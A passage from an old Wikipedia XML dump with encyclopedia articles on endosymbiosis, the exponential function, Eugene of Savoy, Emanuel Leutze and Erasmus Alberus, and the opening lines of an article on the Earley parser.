Further evidence of endosymbiosis are the prokaryotic ribosomes found within chloroplasts and mitochondria as well as the double membrane enclosing them. The inner membrane is thought to be the original membrane of the once independent prokaryote, while the outer one is thought to be the food vacuole it was enclosed in initially. Triple or quadruple membranes are found among certain algae, probably resulting from repeated endosymbiosis (although little else was retained of the engulfed cell).

These modern organisms with endosymbiotic relationships with aerobic bacteria suggest that the endosymbiont theory, which explains the origin of mitochondria and chloroplasts, is accurate.

== Bacterial endosymbionts in marine oligochaetes ==

Some marine [[oligochaetes]] (e.g [[Olavius]] or [[Inanidrillus]]) have obligate extracellular endosymbionts that fill the entire body of their host. These marine worms are nutritionally dependent on their symbiotic [[chemoautotroph]]ic bacteria lacking any digestive or excretory system (no gut, mouth or [[nephridia]]).

== Bacterial endosymbionts in other marine invertebrates ==

Extracellular endosymbionts are also represented in all 5 extant classes of [[Echinodermata]] ([[Crinoidea]], [[Ophiuroidea]], [[Asteroidea]], [[Echinoidea]], and [[Holothuroidea]]). Little is known of the nature of the association (mode of infection, transmission, metabolic requirements, etc.) but [[phylogenetic]] analysis indicates that these symbionts belong to the alpha group of the class [[Proteobacteria]], relating them to ''Rhizobium'' and ''Thiobacillus''. Other studies indicate that these [[subcuticular bacteria]] may be both abundant within their hosts and widely distributed among the Echinoderms in general.

== ''Symbiodinium'' dinoflagellate endosymbionts in marine metazoa and protists ==

[[Dinoflagellate]] endosymbionts of the genus ''Symbiodinium'', commonly known as [[zooxanthella]]e, are found in [[corals]], [[mollusk]]s (esp. [[giant clam]]s, the ''Tridacna''), [[sponges]], and [[foraminifera]].  These endosymbionts drive the amazing formation of [[coral reefs]] by capturing sunlight and providing their hosts with energy for [[carbonate]] deposition.

Previously thought to be a single species, molecular [[phylogenetic]] evidence over the past couple decades has shown there to be great diversity in ''Symbiodinium''. In some cases there is specificity between host and ''Symbiodinium'' clade.  More often, however, there is an ecological distribution of ''Symbiodinium'', the symbionts switching between hosts with apparent ease.  When reefs become environmentally stressed, this distribution of symbionts is related to the observed pattern of [[coral bleaching]] and recovery.  Thus the distribution of ''Symbiodinium'' on coral reefs and its role in coral bleaching presents one of the most complex and interesting current problems in reef [[ecology]].

== Bacterial obligate endosymbionts in insects ==

Among bacterial endosymbionts of insects, the best studied are the pea [[aphid]] ''[[Acyrthosiphon pisum]]'' and its endosymbiont ''[[Buchnera]] sp.'' APS, and the [[tsetse fly]] ''Glossina morsitans morsitans'' and its endosymbiont ''[[Wigglesworthia glossinidia brevipalpis]]''.  As with endosymbiosis in other insects, the symbiosis is obligate in that neither the bacteria nor the insect is viable without the other.  Scientists have been unable to cultivate the bacteria in lab conditions outside of the insect.  With special nutritionally-enhanced diets, the insects can survive, but are unhealthy, and at best survive only a few generations.

The endosymbionts live in specialized insect cells called ''bacteriocytes'' (also called ''mycetocytes''), and are maternally-transmitted, i.e. the mother transmits her endosymbionts to her offspring.  In some cases, the bacteria are transmitted in the egg, as in ''Buchnera''; in others like ''Wigglesworthia'', they are transmitted via milk to the developing insect embryo.

The bacteria are thought to help the host by either synthesizing nutrients that the host cannot make itself, or by metabolizing insect waste products into safer forms.  For example, the primary role of ''Buchnera'' is thought to be to synthesize [[essential amino acid]]s that the aphid cannot acquire from its natural diet of plant sap.  The evidence is (1) when aphids' endosymbionts are killed using antibiotics, they appear healthier when their plant sap diet is supplemented with the appropriate [[amino acid]]s, and (2) after the ''Buchnera'' [[genome]] was sequenced, analysis uncovered a large number of genes that likely code for amino acid biosynthesis genes; most bacteria that live inside other organisms do not have such genes, so their existence in ''Buchnera'' is noteworthy.  Similarly, the primary role of ''Wigglesworthia'' is probably to synthesize [[vitamin]]s that the tsetse fly does not get from the blood that it eats.

The benefit for the bacteria is that it is protected from the environment outside the insect cell, and presumably receives nutrients from the insect.  Genome sequencing reveals that obligate bacterial endosymbionts of insects have among the smallest of known bacterial genomes and have [[genome reduction|lost many genes]] that are commonly found in other bacteria.  Presumably these genes are not needed in the environment of the host insect cell.  (A complementary theory as to why the bacteria may have lost genes, [[Muller's ratchet]], is that since the endosymbionts are maternally transmitted and have no opportunity to exchange genes with other bacteria, it is more difficult to keep good genes in all individuals in a population of these endosymbionts.)  Research in which a parallel [[phylogeny]] of bacteria and insects was inferred supports the belief that the obligate endosymbionts are transferred only vertically (i.e. from the mother), and not horizontally (i.e. by escaping the host and entering a new
host).

Attacking obligate bacterial endosymbionts may present a way to control their insect hosts, many of which are pests or carriers of human disease.  For example aphids are crop pests and the tsetse fly carries the organism ([[trypanosome]] [[protozoa]]) that causes African [[sleeping sickness]].  Other motivations for their study is to understand symbiosis, and to understand how bacteria with severely depleted genomes are able to survive, thus improving our knowledge of genetics and molecular biology.

== References ==
====Obligate bacterial endosymbiosis in marine oligochaetes:====
* Endosymbiotic sulphate-reducing and sulphide-oxidizing bacteria in an oligochaete worm. Dubilier N., Mülders C.,Ferdelman T., De Beer D.,Pernthaler A.,Klein M., Wagner M., Erseus C., Thiermann F., Krieger J., Giere O &amp; Amann R. http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11357130

====Bacterial endosymbionts in echinoderms:====
* Subcuticular bacteria from the brittle star Ophiactis balli (Echinodermata: Ophiuroidea) represent a new lineage of extracellular marine symbionts in the alpha subdivision of the class Proteobacteria. Burnett, W J and J D McKenzie http://www.pubmedcentral.nih.gov/articlerender.fcgi?artid=168468&amp;rendertype=abstract

====''Symbiodinium'' dinoflagellate endosymbionts in marine metazoa and protists====

* Excellent review paper covering the role of ''Symbiodinium'' in reef ecology and the current state of research: [http://arjournals.annualreviews.org/doi/abs/10.1146%2Fannurev.ecolsys.34.011802.132417?cookieSet=1 FLEXIBILITY AND SPECIFICITY IN CORAL-ALGAL SYMBIOSIS: Diversity, Ecology, and Biogeography of Symbiodinium. Andrew C. Baker, ''Annual Review of Ecology, Evolution, and Systematics'' 2003 34, 661-689]

====Obligate bacterial endosymbionts in insects:====
*PLOS Biology Primer- Endosymbiosis: lessons in conflict resolution http://www.plosbiology.org/plosonline/?request=get-document&amp;doi=10.1371/journal.pbio.0020068
* A general review of bacterial endosymbionts in insects.  P. Baumann, N. A. Moran and L. Baumann, Bacteriocyte-associated endosymbionts of insects in M. Dworkin, ed., ''The prokaryotes'', Springer, New York, 2000.  http://link.springer.de/link/service/books/10125/
* An excellent review of insect endosymbionts that focuses on genetic issues.  Jennifer J. Wernegreen (2002), Genome evolution in bacterial endosymbionts of insects, ''Nature Reviews Genetics'', 3, pp. 850-861.  http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12415315&amp;dopt=Abstract
* A review article on aphids and their bacterial endosymbionts.  A. E. Douglas (1998), Nutritional interactions in insect-microbial symbioses: Aphids and Their Symbiotic Bacteria ''Buchnera'', ''Annual Reviews of Entomology'', 43, pp. 17-37.
* Describes possible methods to control the human pathogen causing African sleeping sickness, which is transmitted by tsetse flies.  Focuses on methods using the primary and secondary endosymbionts of the tsetse fly.  Serap Aksoy, Ian Maudlin, Colin Dale, Alan S. Robinsonand and Scott L. O&amp;rsquo;Neill (2001), Prospects for control of African trypanosomiasis by tsetse vector, ''TRENDS in Parasitology'', 17 (1), pp. 29-35.  http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=11137738&amp;dopt=Abstract
* Announces and analyzes the full genome sequence of ''Buchnera sp.'' APS, the endosymbiont of the pea aphid, and the first endosymbiont to have its genome sequenced.  S. Shigenobu, H. Watanabe, M. Hattori, Y. Sakaki and H. Ishikawa (2000), Genome sequence of the endocellular bacterial symbiont of aphids ''Buchnera sp.'' APS, ''[[Nature (journal)|Nature]]'', 407, pp. 81-86.  http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=10993077&amp;dopt=Abstract
* An article that discusses one theory on how obligate endosymbionts may have their genomes degraded, in a freely-available journal.  Nancy A. Moran (1996), Accelerated evolution and Muller&amp;rsquo;s ratchet in endosymbiotic bacteria, ''[[Proceedings of the National Academy of Sciences|Proceedings of the National Academy of Sciences of the USA]]'', 93, pp. 2873-2878.  http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=8610134&amp;dopt=Abstract


[[Category:Symbiosis]]

[[es:Endosimbiosis]]
[[fr:Endosymbiose]]
[[he:אנדוסימביוזה]]
[[pt:Endossimbiose]]</text>
    </revision>
  </page>
  <page>
    <title>Exponential function</title>
    <id>9678</id>
    <revision>
      <id>41426424</id>
      <timestamp>2006-02-27T06:06:29Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.177.72.23|203.177.72.23]] ([[User talk:203.177.72.23|talk]]) to last version by 24.210.134.243</comment>
      <text xml:space="preserve">The '''exponential function''' is one of the most important [[function (mathematics)|function]]s in [[mathematics]]. It is written as exp(''x'') or ''e''&lt;sup&gt;''x''&lt;/sup&gt;, where ''e'' equals approximately 2.71828183 and is the [[e (mathematical constant)|base of the natural logarithm]].

[[image:exp.png|right|The exponential function is nearly flat (climbing slowly) for negative x's, and climbs quickly for positive x's.]]

As a function of the ''[[real number|real]]'' variable ''x'', the [[graph of a function|graph]] of ''e''&lt;sup&gt;''x''&lt;/sup&gt; is always positive (above the ''x'' axis) and increasing (viewed left-to-right). It never touches the ''x'' axis, although it gets arbitrarily close to it (thus, the ''x'' axis is a horizontal [[asymptote]] to the graph). Its [[inverse function]], the [[natural logarithm]], ln(''x''), is defined for all positive ''x''.

Sometimes, especially in the [[science]]s, the term '''exponential function''' is reserved for functions of the form ''ka''&lt;sup&gt;''x''&lt;/sup&gt;,
where ''a'', called the ''base'', is any positive real number. This article will focus initially on the exponential function with base ''e''.

In general, the [[variable]] ''x'' can be any real or [[complex number|complex]] number, or even an entirely different kind of mathematical object; see the [[#Formal definition|formal definition below]].

==Properties==

Using the natural logarithm, one can define more general exponential functions. The function
: &lt;math&gt;\!\, a^x=e^{x \ln a}&lt;/math&gt;
defined for all ''a'' &gt; 0, and all real numbers ''x'', is called the '''exponential function with base''' '''''a'''''.

Note that the equation above holds for ''a'' = ''e'', since
: &lt;math&gt;\!\, e^{x \ln e}=e^{x \left(1\right)}=e^x.&lt;/math&gt;

Exponential functions &quot;translate between addition and multiplication&quot; as is expressed in the following ''exponential laws'':
: &lt;math&gt;\!\, a^0 = 1&lt;/math&gt;
: &lt;math&gt;\!\, a^1 = a&lt;/math&gt;
: &lt;math&gt;\!\, a^{x + y} =  a^x a^y&lt;/math&gt;
: &lt;math&gt;\!\, a^{x y} = \left( a^x \right)^y&lt;/math&gt;
: &lt;math&gt;\!\, {1 \over a^x} = \left({1 \over a}\right)^x = a^{-x}&lt;/math&gt;
: &lt;math&gt;\!\, a^x b^x = (a b)^x&lt;/math&gt;

These are valid for all positive real numbers ''a'' and ''b'' and all real numbers ''x'' and ''y''. Expressions involving [[fraction (mathematics)|fraction]]s and [[Radical (mathematics)|roots]] can often be simplified using exponential notation because:
: &lt;math&gt;{1 \over a} = a^{-1}&lt;/math&gt;
and, for any ''a'' &gt; 0, real number ''b'', and integer ''n''&amp;nbsp;&gt;&amp;nbsp;1:
: &lt;math&gt;\sqrt[n]{a^b} = \left(\sqrt[n]{a}\right)^b = a^{b/n}&lt;/math&gt;

For any real constant ''c'' holds:
: &lt;math&gt; f'(0)=\lim_{h \to 0}\frac{e^{ch}-1}{h}=c&lt;/math&gt;
for &lt;math&gt;f(x)=e^{ch}&lt;/math&gt;

==Derivatives and differential equations==

The importance of exponential functions in mathematics and the sciences stems mainly from properties of their [[derivative]]s. In particular,

: &lt;math&gt;{d \over dx} e^x = e^x&lt;/math&gt;

That is, ''e''&lt;sup&gt;''x''&lt;/sup&gt; is its own [[derivative]], a property unique among real-valued functions of a real variable. Other ways of saying the same thing include:
*The slope of the graph at any point is the height of the function at that point.
*The rate of increase of the function at ''x'' is equal to the value of the function at ''x''.
*The function solves the [[differential equation]] &lt;math&gt;y'=y&lt;/math&gt;.
*exp is a [[fixed point]] of derivative as a [[Functional (mathematics)|functional]]

In fact, many differential equations give rise to exponential functions, including the [[Schrödinger equation]] and the [[Laplace's equation]] as well as the equations for [[simple harmonic motion]].

For exponential functions with other bases:

: &lt;math&gt;{d \over dx} a^x = (\ln a) a^x&lt;/math&gt;

Thus ''any'' exponential function is a [[constant]] multiple of its own derivative.

If a variable's growth or decay rate is [[proportionality (mathematics)|proportional]] to its size &amp;mdash; as is the case in unlimited population growth (see [[Malthusian catastrophe]]), continuously compounded [[interest]], or [[radioactive decay]] &amp;mdash; then the variable can be written as a constant times an exponential function of time.

Furthermore for any differentiable function f(x) holds:

: &lt;math&gt;{d \over dx} e^{f(x)} = f'(x)e^{f(x)}&lt;/math&gt;

==Formal definition==

The exponential function e&lt;sup&gt;''x''&lt;/sup&gt; can be defined in a variety of equivalent ways, as an [[infinite series]].  In particular it may be defined by a [[power series]]:

: &lt;math&gt;e^x = \sum_{n = 0}^{\infty} {x^n \over n!} = 1 + x + {x^2 \over 2!} + {x^3 \over 3!} + {x^4 \over 4!} + \cdots&lt;/math&gt;

or as the [[limit of a sequence]]:

: &lt;math&gt;e^x = \lim_{n \to \infty} \left( 1 + {x \over n} \right)^n.&lt;/math&gt;

In these definitions, &lt;math&gt;n!&lt;/math&gt; stands for the [[factorial]] of ''n'', and ''x'' can be any [[real number]], [[complex number]], element of a [[Banach algebra]] (for example, a [[square matrix]]), or member of the field of [[p-adic numbers|''p''-adic numbers]].

For further explanation of these definitions and a proof of their equivalence, see the article [[Definitions of the exponential function]].

==Numerical value==

To obtain the numerical value of the exponential function, the infinite series can be rewritten as :

:&lt;math&gt;e^x = {1 \over 0!} + x \, \left( {1 \over 1!} + x \, \left( {1 \over 2!} + x \, \left( {1 \over 3!} + \cdots \right)\right)\right)&lt;/math&gt;
:&lt;math&gt;= 1 + {x \over 1} \left(1 + {x \over 2} \left(1 + {x \over 3} \left(1 + \cdots \right)\right)\right)&lt;/math&gt;

This expression will converge quickly if we can ensure that x is less than one.

To ensure this, we can use the following identity.

:{|
|-
|&lt;math&gt;e^x\,&lt;/math&gt;
|&lt;math&gt;=e^{z+f}\,&lt;/math&gt;
|-
|
|&lt;math&gt;= e^z \times \left[ {1 \over 0!} + f \, \left( {1 \over 1!} + f \, \left( {1 \over 2!} + f \, \left( {1 \over 3!} + \cdots \right)\right)\right)\right]&lt;/math&gt;
|}

* Where &lt;math&gt;z&lt;/math&gt; is the integer part of &lt;math&gt;x&lt;/math&gt;
* Where &lt;math&gt;f&lt;/math&gt; is the fractional part of &lt;math&gt;x&lt;/math&gt;
* Hence, &lt;math&gt;f&lt;/math&gt; is a always less than 1 and &lt;math&gt;f&lt;/math&gt; and &lt;math&gt;z&lt;/math&gt; add up to &lt;math&gt;x&lt;/math&gt;.

The value of the constant e&lt;sup&gt;z&lt;/sup&gt; can be calculated beforehand by multiplying e with itself z times.

== On the complex plane ==

When considered as a function defined on the [[complex number|complex plane]], the exponential function retains the important properties
: &lt;math&gt;\!\, e^{z + w} = e^z e^w&lt;/math&gt;
: &lt;math&gt;\!\, e^0 = 1&lt;/math&gt;
: &lt;math&gt;\!\, e^z \ne 0&lt;/math&gt;
: &lt;math&gt;\!\, {d \over dz} e^z = e^z&lt;/math&gt;
for all ''z'' and ''w''.

It is a [[holomorphic function]] which is periodic with [[imaginary number|imaginary]] period &lt;math&gt;2 \pi i&lt;/math&gt; and can be written as
: &lt;math&gt;\!\, e^{a + bi} = e^a (\cos b + i \sin b)&lt;/math&gt;
where ''a'' and ''b'' are real values. This formula connects the exponential function with the [[trigonometric function]]s and to the [[hyperbolic function]]s. Thus we see that all [[elementary function]]s except for the [[polynomial]]s spring from the exponential function in one way or another.

See also [[Euler's formula]].

Extending the natural logarithm to complex arguments yields a [[multi-valued function]], ln(''z''). We can then define a more general exponentiation:
: &lt;math&gt;\!\, z^w = e^{w \ln z}&lt;/math&gt;
for all complex numbers ''z'' and ''w''. This is also a multi-valued function. The above stated exponential laws remain true if interpreted properly as statements about multi-valued functions.

The exponential function maps any [[line_(mathematics)|line]] in the complex plane to a [[logarithmic spiral]] in the complex plane with the center at the [[origin]]. This can be seen by noting that the case of a line parallel with the real or imaginary axis maps to a line or [[circle]].

== Matrices and Banach algebras ==

The definition of the exponential function given above can be used verbatim for every [[Banach algebra]], and in particular for square [[matrix (mathematics)|matrices]] (in which case the function is called the [[matrix exponential]]). In this case we have
: &lt;math&gt;\ e^{x + y} = e^x e^y \mbox{ if } xy = yx&lt;/math&gt;
: &lt;math&gt;\ e^0 = 1&lt;/math&gt;
: &lt;math&gt;\ e^x&lt;/math&gt; is invertible with inverse &lt;math&gt;\ e^{-x}&lt;/math&gt;
: the derivative of &lt;math&gt;\ e^x&lt;/math&gt; at the point &lt;math&gt;\ x&lt;/math&gt; is that linear map which sends &lt;math&gt;\ u&lt;/math&gt; to &lt;math&gt;\ ue^x&lt;/math&gt;.

In the context of non-commutative Banach algebras, such as algebras of matrices or operators on [[Banach space|Banach]] or [[Hilbert space|Hilbert]] spaces, the exponential function is often considered as a function of a real argument:
: &lt;math&gt;\ f(t) = e^{t A}&lt;/math&gt;
where ''A'' is a fixed element of the algebra and ''t'' is any real number. This function has the important properties
: &lt;math&gt;\ f(s + t) = f(s) f(t)&lt;/math&gt;
: &lt;math&gt;\ f(0) = 1&lt;/math&gt;
: &lt;math&gt;\ f'(t) = A f(t)&lt;/math&gt;

== On Lie algebras ==
The &quot;exponential map&quot; sending a [[Lie algebra]] to the [[Lie group]] that gave rise to it shares the above properties, which explains the terminology. In fact, since '''R''' is the Lie algebra of the Lie group of all positive real numbers with multiplication, the ordinary exponential function for real arguments is a special case of the Lie algebra situation. Similarly, since the Lie algebra M(''n'', '''R''') of all square real matrices belongs to the Lie group of all invertible square matrices, the exponential function for square matrices is a special case of the Lie algebra [[exponential map]].

==Double exponential function==
The term '''''double exponential function''''' can have two meanings:
*a function with two exponential terms, with different exponents
*a function &lt;math&gt;f(x) = a^{a^x}&lt;/math&gt;; this grows even faster than an exponential function; for example, if ''a'' = 10: ''f''(&amp;minus;1) = 1.26, ''f''(0) = 10, ''f''(1) = 10&lt;sup&gt;10&lt;/sup&gt;, ''f''(2) = 10&lt;sup&gt;100&lt;/sup&gt; = [[googol]], ''f''(3) = 10&lt;sup&gt;1000&lt;/sup&gt;, ..., ''f''(100) = [[googolplex]].

Compare the [[Tetration#Extension_to_real_numbers|super-exponential function]], which grows even faster.

==See also==
*[[Exponential growth]]
*[[Exponentiation]]
*[[List of exponential topics]]

==External links==

* {{planetmath reference|title=Complex exponential function|id=6341}}

[[Category:Elementary special functions]]
[[Category:Complex analysis]]
[[Category:Exponentials]]
[[Category:Special hypergeometric functions]]

[[da:Eksponentialfunktion]]
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[[ru:Показательная функция]]
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  <page>
    <title>Eugene of Savoy</title>
    <id>9679</id>
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      <minor />
      <comment>Robot-assisted disambiguation ([[WP:DPL|you can help!]]): Husband</comment>
      <text xml:space="preserve">[[Image:Prinz-Eugen-von-Savoyen1.jpg|thumb|Prince Eugen von Savoyen in a contemporary painting]]
'''François-Eugène, Prince of Savoy-Carignan''', known as '''Prinz Eugen von Savoyen''' in German ([[October 16]], [[1663]] &amp;ndash; [[April 24]], [[1736]]) was one of the most brilliant generals in the history of the [[Habsburg Empire]].  

He was born to [[Olympia Mancini]] in [[Paris]].  His mother was a niece of the powerful Cardinal [[Mazarin]].  Officially, Eugene was born a prince of the [[House of Savoy]], as an heir to Olympia's [[Marriage|husband]], the Comte de [[Soissons]].  However, it was rumoured that Olympia had actually been been impregnated by the French king, [[Louis XIV of France|Louis XIV]].  She was banished from France during Eugene's childhood as a suspect in a plot to poison her supposed former lover.

As a young [[man]], Eugene was part of the circle of the transvestite [[Abbé de Choisy]].  Eugene was rebuffed from a commission in the French army by Louis XIV, some say because of his mother's disgrace, some because of his slight build, and some because Louis was offended by Eugene's [[cross dressing]].  Whatever the reason, Eugene fled the French [[court]], and volunteered with the Austrian army as an officer in [[1683]].  He maintained a lifelong hatred of Louis XIV, and would spend the rest of his life opposing French ambition in Europe.

For the first part of his career, Eugene faced the [[Ottoman Empire|Ottoman Turks]] on the battlefield, first coming to prominence during the last major [[Battle of Vienna|Turkish offensive]] against the Austrian capital of [[Vienna]] in [[1683]]. By the closing years of the 17th century, he was already famous for securing [[Hungary]] from the Turks.  In [[1697]] he crushed the Ottoman army in the [[Battle of Zenta]], and he soon rose to the role of principal Austrian commander during the [[War of the Spanish Succession]].

In the opening shots of that war, Eugene defeated French armies in northern Italy. As the area of French offensive action moved north, and as the war spread to include other nations such as [[England]], Eugene joined forces for the first time with his English counterpart, the [[John Churchill, 1st Duke of Marlborough|Duke of Marlborough]]. Together they defeated the French in [[Bavaria]] at the [[Battle of Blenheim]] ([[1704]]). For the next three years he was engaged in fighting in northern [[Italy]] and [[Provence]]. He defeated French armies in [[battle of Turin]] ([[1706]]).  In [[1707]] Louis XIV had to withdraw French forces from Italy. 

Eugene then moved north to Flanders, where he joined up with Marlborough to win the battles of [[Battle of Oudenarde|Oudenarde]] and [[Battle of Malplaquet|Malplaquet]]. Unfortunately, the follow-up invasion of France that would have ended the war was blunted by the marginal victory of Malplaquet, and the retirement of Britain from the war. After one more year of fighting, Austria signed a favourable peace with France, in 1714.  

Also in 1714, Eugene began construction of the [[Belvedere (palace)|Belvedere]], a [[baroque]] palace in the 3rd district of Vienna.  Construction of various parts of the palace complex continued until [[1723]].  Despite his obvious thirst for glory through wars, political appointments, and buildings, Eugene never married.  Some assume that forgoing the social prestige (and indeed almost necessity) of [[marriage]] points to likely [[homophilia]].  His city mansion in Vienna, the  [[Prinz Eugen Palais]] includes [[homoerotic]] carvings on the exterior, and statues of muscular, naked men on the grand staircase, but there is no surviving record of a male relationship.  Eugene of Savoy is often referred to as a &quot;[[Mars]] without a [[Venus]]&quot;.

[[Image:Wien Prinz Eugen Reiterdenkmal Heldenplatz.jpg|thumb|Monument to Prince Eugen at the [[Heldenplatz]] in Vienna]]

One of the new Austrian possessions after the War of the Spanish Succesion was the former Spanish, now [[Austrian Netherlands]]. Eugene was made [[Governors of the Habsburg Netherlands|governor]] of this area, then later became vicar of the Austrian lands in Italy. Just two years after the end of the war against France, Eugene led the Austrian armies during the [[Austro-Turkish War of 1716-18]]. He achieved a series of decisive victories, including the ''Battle of Belgrade'' that led to the [[Treaty of Passarowitz]]. This temporarily added northern [[Serbia]] and the [[Bosnia Province, Ottoman Empire | Bosnia]]n bank of the [[Sava]] river to the Austrian crown, and ended the Turkish threats to Vienna once and for all.  Late in his life, Eugene engaged in one last war, the [[War of the Polish Succession]]. 

Eugene died in Vienna in 1736, in his sleep, after a night of playing [[cards]] with his old friend, the Countess Balthyany.  A legend maintains that a lion in his palace [[zoo]] died the same night.  Eugene is buried in a chapel of honor in the [[Cathedral of Saint Stephan]].  

At his death, Eugene was one of the wealthiest men in Europe.  His fortune passed to his niece, [[Victoria of Savoy Carignano]], whom he had never met.  She sold his extensive [[library]] to the Austrian [[emperor]], and it formed the core of what is today the Austrian [[National Library]].

The [[World War I]] British [[Monitor (warship)|monitor]] [[HMS Prince Eugene (1915)|HMS ''Prince Eugene'']], [[Austria-Hungary|Austro-Hungarian]] battleship [[SMS Prinz Eugen|''Prinz Eugen'']], and the [[World War II]] German [[7th SS Volunteer Mountain Division Prinz Eugen]] and heavy cruiser [[Prinz Eugen]] were named after Eugene of Savoy.

==See also==
*[[Savoy]]

== References ==

*[[Military Heritage]] did a feature about the Muslim Turks versus Christian Nobility 1716 battle and crusade at Peterwardein, and the success of Prince Eugene of Savoy (Ludwig Heinrich Dyck, Military Heritage, August 2005, Volume 7, No. 1, pp 48 to 53, and p. 78), ISSN 1524-8666.
* Henderson, Nicholas. ''Prince Eugene of Savoy''. London: Weidenfeld and Nicolson. 1964.
*Johansson, Warren &amp; Percy, William A.  [http://williamapercy.com/pub-Outing.htm ''Outing:  Shattering the Conspiracy of Silence.'']  Harrington Park Press, 1994, p.63
*Mckay, Derek. ''Prince Eugene of Savoy''. London: Thames and Hudson. 1977.
*Nicolle, David and Hook, Christa. ''The Janissaries''. Botley: Osprey Publishing. 2000. 
*Setton, Kenneth M. ''Venice, Austria, and the Turks in the Seventeenth Century''. Philadelphia: The American Philosophical Society. 1991.
*speech by [[William Warren]] at the Knickerbocker Club for the American Delegation of Savoy Orders, November 2003

[[Category:1663 births|Savoy, Eugene of]]
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[[Category:Belgrade]]
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[[bs:Eugen Savojski]]
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    <title>Extragalactic Astronomy</title>
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      <text xml:space="preserve">#REDIRECT [[Extragalactic astronomy]]</text>
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    <title>Echo and the Bunnymen</title>
    <id>9682</id>
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      <contributor>
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      <comment>#REDIRECT [[Echo &amp; the Bunnymen]]</comment>
      <text xml:space="preserve">#REDIRECT [[Echo &amp; the Bunnymen]]</text>
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  <page>
    <title>Emanuel Leutze</title>
    <id>9683</id>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Washington Crossing the Delaware.png|thumb|250px|''[[Washington Crossing the Delaware]]'']]
[[Image:Westward the Course of Empire.jpg|thumb|250px|''Westward the Course of Empire Takes its Way'']]

'''Emanuel Gottlieb Leutze''' ([[May 24]], [[1816]] &amp;ndash; [[July 18]], [[1868]]) was a German-born [[United States|American]] [[painter]]. Leutze was born in [[Schwäbisch Gmünd]], [[Württemberg]], [[Germany]], was brought to America as a child, and then returned to Germany as an adult. He is perhaps best-known for his painting ''[[Washington Crossing the Delaware]]''. It is owned by the [[Metropolitan Museum of Art]], in [[New York]].

At the age of twenty-five he had earned enough to take himself to [[Düsseldorf]] for a course of art study at the [[Düsseldorf School|Royal Academy of Fine Arts]]. Almost immediately he began painting historical subjects; his first work, ''[[Columbus before the Council of Salamanca]]'' was purchased by the [[Düsseldorf Art Union]]. A strong supporter of Europe's [[Revolutions of 1848]], Leutze decided to paint an image that would encourage Europe's liberal reformers with the example of the American Revolution. Using American tourists and art students as models and assistants, Leutze finished ''[[Washington Crossing the Delaware]]'' in 1850.

In 1859, Leutze painted a portrait of Chief Justice [[Roger Brooke Taney]] which hangs in the [[Harvard Law School]].  In a 1992 opinion, Justice [[Antonin Scalia]] described the portrait of Taney, made two years after Taney's infamous decision in [[Dred Scott v. Sanford]], as showing Taney &quot;in black, sitting in a shadowed red armchair, left hand resting upon a pad of paper in his lap, right hand hanging limply, almost lifelessly, beside the inner arm of the chair. He sits facing the viewer and staring straight out. There seems to be on his face, and in his deep-set eyes, an expression of profound sadness and disillusionment.&quot;

In [[1860]] Leutze was commissioned by the [[Congress of the United States|U.S. Congress]] to decorate a stairway in the [[United States Capitol|Capitol]] Building in [[Washington, DC]], for which he painted a large composition, ''[[Westward the Course of Empire takes its Way]]''. 

Late in life, he became a member of the [[National Academy of Design]].

He died in Washington, D.C. in his 53rd year.

==External links==
* http://wwar.com/masters/l/leutze-emanuel_gottlieb.html
* [http://blog.oup.com/oupblog/2006/02/washingtons_cro.html Introduction to ''Washington's Crossing''] by David Hackett Fischer at the Oxford University Press blog, discusses Leutze's most famous painting.

{{romanticism}}

[[Category:1816 births|Leutze, Emanuel]]
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  <page>
    <title>Erasmus Alberus</title>
    <id>9684</id>
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      <text xml:space="preserve">'''Erasmus Alberus''' (c. 1500-[[1553]]), [[Germany|German]] [[humanist]], [[reformer]], and [[poet]], was born in the village of [[Sprendlingen]] near [[Frankfurt am Main]] about the year [[1500]]. Although his father was a schoolmaster, his early education was neglected.

Ultimately in [[1518]] he found his way to the [[University of Wittenberg]], where he studied theology.  He had the good fortune to attract the attention of [[Martin Luther]] and [[Philipp Melanchthon]], and subsequently became one of Luther's most 
active helpers in the [[Protestant Reformation]].

Not only did he fight for the Protestant cause as a preacher and theologian, but he was almost the only member of Luther's party who was able to confront the Roman Catholics with the weapon of literary [[satire]].  In [[1542]] he published a prose satire to which Luther wrote the preface, ''Der Barfusser Monche Eulenspiegel und Alkoran,'' an adaptation of the ''Liber confermitatum'' of the Franciscan [[Bartolommeo Albizzi]] of Pisa, in which the [[Franciscan]] order is held up to ridicule.

Of higher literary value is the didactic and satirical ''Buch von der Tugend und Weisheit'' ([[1550]]), a collection of forty-nine fables in which Alberus embodies his views on the relations of Church and State.

His satire is incisive, but in a scholarly and humanistic way; it does not appeal to popular passions with the fierce directness which enabled the master of Catholic satire, [[Thomas Murner]], to inflict such telling blows.

Several of Alberus's hymns, all of which show the influence of his master Luther, have been retained in the German Protestant hymnal.

After Luther's death, Alberus was for a time a deacon in Wittenberg; he became involved, however, in the political conflicts of the time, and was in [[Magdeburg]] in 1550-[[1551]], while that town was besieged by Maurice of Saxony.  In [[1552]] he was appointed Generalsuperintendent at [[Neubrandenburg]] in [[Mecklenburg]], where he died on the [[May 5|5th of May]] [[1553]].

==References==
*{{1911}}

[[Category:1500 births|Alberus, Erasmus]]
[[Category:1553 deaths|Alberus, Erasmus]]
[[Category:German theologians|Alberus, Erasmus]]</text>
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  <page>
    <title>Earley parser</title>
    <id>9685</id>
    <revision>
      <id>35083141</id>
      <timestamp>2006-01-14T00:01:40Z</timestamp>
      <contributor>
        <ip>144.135.104.99</ip>
      </contributor>
      <text xml:space="preserve">The '''Earley parser''' is a type of [[chart parser]] mainly used for parsing in [[computational linguistics]], named after its inventor, [[Jay Earley]]. The algorithm uses [[dynamic programming]].

Earley parsers are appealing because they can parse all [[context-free language]]s.  The Earley parser executes in cubic time in the general case, and quadratic time for unambiguous grammars.  It performs particularly well when the rules are written [[left recursion|left-recursively]].

== Performing the Algorithm ==

